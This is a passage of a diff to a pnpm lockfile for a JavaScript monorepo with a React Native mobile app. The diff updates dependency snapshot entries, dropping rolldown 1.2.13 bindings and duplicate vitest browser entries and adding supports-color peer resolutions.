file:apps/mobile/deps/react-native-screens-5.0.0-t3.30.tgz(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) sf-symbols-typescript: 2.2.0 warn-once: 0.1.1 transitivePeerDependencies: - '@react-native-masked-view/masked-view' - '@react-navigation/native@7.5.1(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)': + '@react-navigation/native@7.5.1(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)': dependencies: '@react-navigation/core': 7.24.0(react@19.3.0) escape-string-regexp: 4.0.0 fast-deep-equal: 3.1.3 nanoid: 3.3.19 react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) standard-navigation: 0.0.8(react@19.3.0) use-latest-callback: 0.2.6(react@19.3.0) @@ -16228,117 +16015,78 @@ snapshots: dependencies: '@redis/client': 6.2.1 - '@rolldown/binding-android-arm-eabi@1.2.13': - optional: true - '@rolldown/binding-android-arm-eabi@1.2.5': optional: true '@rolldown/binding-android-arm64@1.0.0-rc.17': optional: true - '@rolldown/binding-android-arm64@1.2.13': - optional: true - '@rolldown/binding-android-arm64@1.2.5': optional: true '@rolldown/binding-darwin-arm64@1.0.0-rc.17': optional: true - '@rolldown/binding-darwin-arm64@1.2.13': - optional: true - '@rolldown/binding-darwin-arm64@1.2.5': optional: true '@rolldown/binding-darwin-x64@1.0.0-rc.17': optional: true - '@rolldown/binding-darwin-x64@1.2.13': - optional: true - '@rolldown/binding-darwin-x64@1.2.5': optional: true '@rolldown/binding-freebsd-x64@1.0.0-rc.17': optional: true - '@rolldown/binding-freebsd-x64@1.2.13': - optional: true - '@rolldown/binding-freebsd-x64@1.2.5': optional: true '@rolldown/binding-linux-arm-gnueabihf@1.0.0-rc.17': optional: true - '@rolldown/binding-linux-arm-gnueabihf@1.2.13': - optional: true - '@rolldown/binding-linux-arm-gnueabihf@1.2.5': optional: true '@rolldown/binding-linux-arm64-gnu@1.0.0-rc.17': optional: true - '@rolldown/binding-linux-arm64-gnu@1.2.13': - optional: true - '@rolldown/binding-linux-arm64-gnu@1.2.5': optional: true '@rolldown/binding-linux-arm64-musl@1.0.0-rc.17': optional: true - '@rolldown/binding-linux-arm64-musl@1.2.13': - optional: true - '@rolldown/binding-linux-arm64-musl@1.2.5': optional: true '@rolldown/binding-linux-ppc64-gnu@1.0.0-rc.17': optional: true - '@rolldown/binding-linux-ppc64-gnu@1.2.13': - optional: true - '@rolldown/binding-linux-ppc64-gnu@1.2.5': optional: true '@rolldown/binding-linux-s390x-gnu@1.0.0-rc.17': optional: true - '@rolldown/binding-linux-s390x-gnu@1.2.13': - optional: true - '@rolldown/binding-linux-s390x-gnu@1.2.5': optional: true '@rolldown/binding-linux-x64-gnu@1.0.0-rc.17': optional: true - '@rolldown/binding-linux-x64-gnu@1.2.13': - optional: true - '@rolldown/binding-linux-x64-gnu@1.2.5': optional: true '@rolldown/binding-linux-x64-musl@1.0.0-rc.17': optional: true - '@rolldown/binding-linux-x64-musl@1.2.13': - optional: true - '@rolldown/binding-linux-x64-musl@1.2.5': optional: true '@rolldown/binding-openharmony-arm64@1.0.0-rc.17': optional: true - '@rolldown/binding-openharmony-arm64@1.2.13': - optional: true - '@rolldown/binding-openharmony-arm64@1.2.5': optional: true @@ -16352,32 +16100,15 @@ snapshots: '@rolldown/binding-win32-arm64-msvc@1.0.0-rc.17': optional: true - '@rolldown/binding-win32-arm64-msvc@1.2.13': - optional: true - '@rolldown/binding-win32-arm64-msvc@1.2.5': optional: true '@rolldown/binding-win32-x64-msvc@1.0.0-rc.17': optional: true - '@rolldown/binding-win32-x64-msvc@1.2.13': - optional: true - '@rolldown/binding-win32-x64-msvc@1.2.5': optional: true - '@rolldown/plugin-babel@0.2.3(@babel/core@7.29.7)(@babel/plugin-transform-runtime@7.29.7(@babel/core@7.29.7))(@babel/runtime@7.29.7)(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(rolldown@1.2.13)': - dependencies: - '@babel/core': 7.29.7 - picomatch: 4.0.7 - rolldown: 1.2.13 - optionalDependencies: - '@babel/plugin-transform-runtime': 7.29.7(@babel/core@7.29.7) - '@babel/runtime': 7.29.7 - vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' - optional: true - '@rolldown/pluginutils@1.0.0-rc.17': optional: true @@ -16423,11 +16154,6 @@ snapshots: dependencies: '@shikijs/types': 4.2.0 - '@shikijs/themes@4.3.0': - dependencies: - '@shikijs/types': 4.3.0 - optional: true - '@shikijs/transformers@4.2.0': dependencies: '@shikijs/core': 4.2.0 @@ -16526,18 +16252,18 @@ snapshots: '@t3tools/mobile-review-diff-native@file:apps/mobile/modules/t3-review-diff': {} - '@t3tools/mobile-source-text@file:apps/mobile/modules/t3-source-text(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)': + '@t3tools/mobile-source-text@file:apps/mobile/modules/t3-source-text(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)': dependencies: react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) '@t3tools/mobile-terminal-native@file:apps/mobile/modules/t3-terminal': {} - '@tabler/icons-react-native@3.44.0(react-native-svg@15.16.0(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(react@19.3.0)': + '@tabler/icons-react-native@3.44.0(react-native-svg@15.16.0(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0))(react@19.3.0)': dependencies: '@tabler/icons': 3.44.0 react: 19.3.0 - react-native-svg: 15.16.0(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + react-native-svg: 15.16.0(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) '@tabler/icons@3.44.0': {} @@ -16602,12 +16328,12 @@ snapshots: '@tailwindcss/oxide-win32-arm64-msvc': 4.3.3 '@tailwindcss/oxide-win32-x64-msvc': 4.3.3 - '@tailwindcss/vite@4.3.3(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))': + '@tailwindcss/vite@4.3.3(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))': dependencies: '@tailwindcss/node': 4.3.3 '@tailwindcss/oxide': 4.3.3 tailwindcss: 4.3.3 - vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' + vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' '@tanstack/devtools-event-client@0.4.3': {} @@ -16657,11 +16383,11 @@ snapshots: seroval: 1.5.4 seroval-plugins: 1.5.4(seroval@1.5.4) - '@tanstack/router-generator@1.167.12': + '@tanstack/router-generator@1.167.12(supports-color@8.1.1)': dependencies: '@babel/types': 7.29.8 '@tanstack/router-core': 1.171.8 - '@tanstack/router-utils': 1.162.1 + '@tanstack/router-utils': 1.162.1(supports-color@8.1.1) '@tanstack/virtual-file-routes': 1.162.0 jiti: 2.7.0 magic-string: 0.30.21 @@ -16670,35 +16396,35 @@ snapshots: transitivePeerDependencies: - supports-color - '@tanstack/router-plugin@1.168.13(@tanstack/react-router@1.170.10(react-dom@19.3.0(react@19.3.0))(react@19.3.0))(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))': + '@tanstack/router-plugin@1.168.13(@tanstack/react-router@1.170.10(react-dom@19.3.0(react@19.3.0))(react@19.3.0))(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 - '@babel/plugin-syntax-jsx': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-syntax-typescript': 7.29.7(@babel/core@7.29.7) + '@babel/core': 7.29.7(supports-color@8.1.1) + '@babel/plugin-syntax-jsx': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-syntax-typescript': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) '@babel/template': 7.29.7 - '@babel/traverse': 7.29.7 + '@babel/traverse': 7.29.7(supports-color@8.1.1) '@babel/types': 7.29.7 '@tanstack/router-core': 1.171.8 - '@tanstack/router-generator': 1.167.12 - '@tanstack/router-utils': 1.162.1 + '@tanstack/router-generator': 1.167.12(supports-color@8.1.1) + '@tanstack/router-utils': 1.162.1(supports-color@8.1.1) '@tanstack/virtual-file-routes': 1.162.0 chokidar: 5.0.0 unplugin: 3.0.0 zod: 4.4.3 optionalDependencies: '@tanstack/react-router': 1.170.10(react-dom@19.3.0(react@19.3.0))(react@19.3.0) - vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' + vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' transitivePeerDependencies: - supports-color - '@tanstack/router-utils@1.162.1': + '@tanstack/router-utils@1.162.1(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/generator': 7.29.7 '@babel/parser': 7.29.8 '@babel/types': 7.29.8 ansis: 4.3.1 - babel-dead-code-elimination: 1.0.12 + babel-dead-code-elimination: 1.0.12(supports-color@8.1.1) diff: 8.0.3 pathe: 2.0.3 tinyglobby: 0.2.17 @@ -17207,78 +16933,50 @@ snapshots: optionalDependencies: ajv: 6.15.0 - '@vitejs/plugin-react@6.1.2(@rolldown/plugin-babel@0.2.3(@babel/core@7.29.7)(@babel/plugin-transform-runtime@7.29.7(@babel/core@7.29.7))(@babel/runtime@7.29.7)(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(rolldown@1.2.13))(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(babel-plugin-react-compiler@1.0.0)(oxc-transform-react@0.152.0)': + '@vitejs/plugin-react@6.1.2(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(babel-plugin-react-compiler@1.0.0)(oxc-transform-react@0.152.0)': dependencies: '@rolldown/pluginutils': 1.0.1 - vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' + vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' optionalDependencies: - '@rolldown/plugin-babel': 0.2.3(@babel/core@7.29.7)(@babel/plugin-transform-runtime@7.29.7(@babel/core@7.29.7))(@babel/runtime@7.29.7)(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(rolldown@1.2.13) babel-plugin-react-compiler: 1.0.0 oxc-transform-react: 0.152.0 - '@vitest/browser-playwright@5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(utf-8-validate@6.0.6)(vitest@5.0.5)': - dependencies: - '@vitest/browser': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vitest@5.0.5) - '@vitest/mocker': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)) - playwright: 1.60.0 - tinyrainbow: 3.2.0 - vitest: 5.0.5(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/browser-preview@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)) - transitivePeerDependencies: - - bufferutil - - msw - - utf-8-validate - - vite - - '@vitest/browser-playwright@5.0.5(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(utf-8-validate@6.0.6)(vite@8.3.4(@types/node@24.12.4)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(yaml@2.9.0))(vitest@5.0.5)': + '@vitest/browser-playwright@5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(utf-8-validate@6.0.6)(vitest@5.0.5)': dependencies: - '@vitest/browser': 5.0.5(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vite@8.3.4(@types/node@24.12.4)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(yaml@2.9.0))(vitest@5.0.5) - '@vitest/mocker': 5.0.5(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(vite@8.3.4(@types/node@24.12.4)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(yaml@2.9.0)) + '@vitest/browser': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vitest@5.0.5) + '@vitest/mocker': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)) playwright: 1.60.0 tinyrainbow: 3.2.0 - vitest: 5.0.5(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/browser-preview@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(vite@8.3.4(@types/node@24.12.4)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(yaml@2.9.0)) - transitivePeerDependencies: - - bufferutil - - msw - - utf-8-validate - - vite - optional: true - - '@vitest/browser-preview@5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vitest@5.0.5)': - dependencies: - '@testing-library/dom': 10.4.2 - '@testing-library/user-event': 14.6.7(@testing-library/dom@10.4.2) - '@vitest/browser': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vitest@5.0.5) - vitest: 5.0.5(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/browser-preview@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)) + vitest: 5.0.5(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/browser-preview@5.0.5)(@vitest/ui@5.0.5)(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)) transitivePeerDependencies: - bufferutil - msw - utf-8-validate - vite - '@vitest/browser-preview@5.0.5(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vite@8.3.4(@types/node@24.12.4)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(yaml@2.9.0))(vitest@5.0.5)': + '@vitest/browser-preview@5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vitest@5.0.5)': dependencies: '@testing-library/dom': 10.4.2 '@testing-library/user-event': 14.6.7(@testing-library/dom@10.4.2) - '@vitest/browser': 5.0.5(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vite@8.3.4(@types/node@24.12.4)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(yaml@2.9.0))(vitest@5.0.5) - vitest: 5.0.5(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/browser-preview@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(vite@8.3.4(@types/node@24.12.4)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(yaml@2.9.0)) + '@vitest/browser': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vitest@5.0.5) + vitest: 5.0.5(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/browser-preview@5.0.5)(@vitest/ui@5.0.5)(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)) transitivePeerDependencies: - bufferutil - msw - utf-8-validate - vite - optional: true - '@vitest/browser@5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vitest@5.0.5)': + '@vitest/browser@5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vitest@5.0.5)': dependencies: '@blazediff/core': 1.10.0 - '@vitest/mocker': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)) + '@vitest/mocker': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)) '@vitest/ui': 5.0.5(vitest@5.0.5) '@vitest/utils': 5.0.5 magic-string: 1.4.3 pngjs: 7.0.0 sirv: 3.0.2 tinyrainbow: 3.2.0 - vitest: 5.0.5(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/browser-preview@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)) + vitest: 5.0.5(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/browser-preview@5.0.5)(@vitest/ui@5.0.5)(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)) ws: 8.22.0(bufferutil@4.1.0)(utf-8-validate@6.0.6) transitivePeerDependencies: - bufferutil @@ -17286,26 +16984,7 @@ snapshots: - utf-8-validate - vite - '@vitest/browser@5.0.5(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vite@8.3.4(@types/node@24.12.4)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(yaml@2.9.0))(vitest@5.0.5)': - dependencies: - '@blazediff/core': 1.10.0 - '@vitest/mocker': 5.0.5(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(vite@8.3.4(@types/node@24.12.4)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(yaml@2.9.0)) - '@vitest/ui': 5.0.5(vitest@5.0.5) - '@vitest/utils': 5.0.5 - magic-string: 1.4.3 - pngjs: 7.0.0 - sirv: 3.0.2 - tinyrainbow: 3.2.0 - vitest: 5.0.5(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/browser-preview@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(vite@8.3.4(@types/node@24.12.4)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(yaml@2.9.0)) - ws: 8.22.0(bufferutil@4.1.0)(utf-8-validate@6.0.6) - transitivePeerDependencies: - - bufferutil - - msw - - 